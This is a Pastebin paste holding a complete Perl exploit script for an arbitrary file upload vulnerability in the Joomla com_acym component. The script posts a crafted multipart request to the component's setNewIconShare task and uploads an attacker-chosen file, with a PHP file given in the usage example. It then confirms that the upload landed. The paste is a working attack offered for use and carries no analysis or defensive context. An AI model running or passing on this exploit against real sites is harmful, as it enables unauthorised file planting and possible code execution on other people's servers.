Lathoz

Untitled

Oct 10th, 2021
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.68 KB | None | 0 0
  1. ########################################################################################
  2. #Exploit
  3. ########################################################################################
  4. #!/usr/bin/perl
  5. #
  6. #$> perl ./exploit.pl "http://127.0.0.1/joomla" "lolz" /tmp/lolz.php
  7. use strict;
  8. use warnings;
  9. use LWP::UserAgent;
  10. use JSON(qw/decode_json/);
  11. ########################################################################################
  12. sub print_usage_and_exit
  13. {
  14. print("*** com_acym Arbitrary File Upload exploit\n");
  15. print("Usage: $0 <URL> <path_to_upload> <file_to_upload>\n");
  16. print("\n");
  17.  
  18. exit();
  19. }
  20.  
  21. sub fetch_useragent
  22. {
  23. my @available_useragents = (
  24. "gertrud barkhorn",
  25. "erica hartmann",
  26. "eila ilmatar juutilainen",
  27. );
  28.  
  29. return($available_useragents[(rand(scalar(@available_useragents)))]);
  30. }
  31.  
  32. sub is_valid_url
  33. {
  34. my $given_url = shift(@_);
  35.  
  36. return 1 if ( $given_url =~ /^http(s)?:\/\// );
  37. return 0;
  38. }
  39.  
  40. sub do_die
  41. {
  42. my $errmsg = shift(@_);
  43.  
  44. printf("[!] %s\n", $errmsg);
  45. exit();
  46. }
  47.  
  48. sub get_base_path
  49. {
  50. return(sprintf("%s/index.php", $_[0]));
  51. }
  52.  
  53. sub do_exploit
  54. {
  55. my %params = %{ shift(@_); };
  56. my $ua = LWP::UserAgent->new(
  57. "agent" => $params{"useragent"},
  58. "timeout" => 360
  59. );
  60.  
  61. print("[+] Trying to exploit ...\n");
  62. print("[*] Sending POST request ...\n");
  63. my $response = $ua->post(
  64. get_base_path($params{"url"}),
  65. "Content-Type" => "form-data",
  66. "Accept-Language" => "zh-cn",
  67. "Content" => {
  68. "option" => "com_acym",
  69. "ctrl" => "frontmails",
  70. "task" => "setNewIconShare",
  71. "social" => $params{"path"},
  72. "file" => [ $params{"file"} ],
  73. },
  74. );
  75.  
  76. if ( $response->code == 200 )
  77. {
  78. my $j = decode_json($response->decoded_content);
  79. my $f = sprintf("%s.%s",
  80. $j->{"url"}, $j->{"extension"});
  81. my $response = $ua->head($f);
  82.  
  83. printf("[\$] Uploaded file in %s\n", $f) if ( $response->code == 200 );
  84. }
  85. }
  86.  
  87. sub main
  88. {
  89. print_usage_and_exit() if ( scalar(@ARGV) < 2 );
  90.  
  91. my %params = (
  92. "url" => $ARGV[0],
  93. "path" => $ARGV[1],
  94. "file" => $ARGV[2],
  95. "useragent" => fetch_useragent());
  96.  
  97. do_die("Given invalid URL.") if ( !is_valid_url($ARGV[0]) );
  98. do_die("Given invalid File.") if ( (!-e $ARGV[2]) or (stat($ARGV[2]))[7] == 0);
  99. printf("[*] Parameters:\n");
  100.  
  101. while ( my ($k, $v) = each(%params) ) { printf("[+] %s => %s\n", $k, $v); }
  102. printf("*" x50 . "\n");
  103.  
  104. while ( 1 )
  105. {
  106. printf("[?] Proceed(y/n)> ");
  107.  
  108. my $c = <STDIN>;
  109. chomp($c);
  110.  
  111. if ( (length($c) == 1) and lc($c) eq "y" )
  112. {
  113. do_exploit(\%params);
  114. last;
  115. }
  116. }
  117. }
  118.  
  119. main();
  120. ########################################################################################
  121.  
Advertisement
Add Comment
Please, Sign In to add comment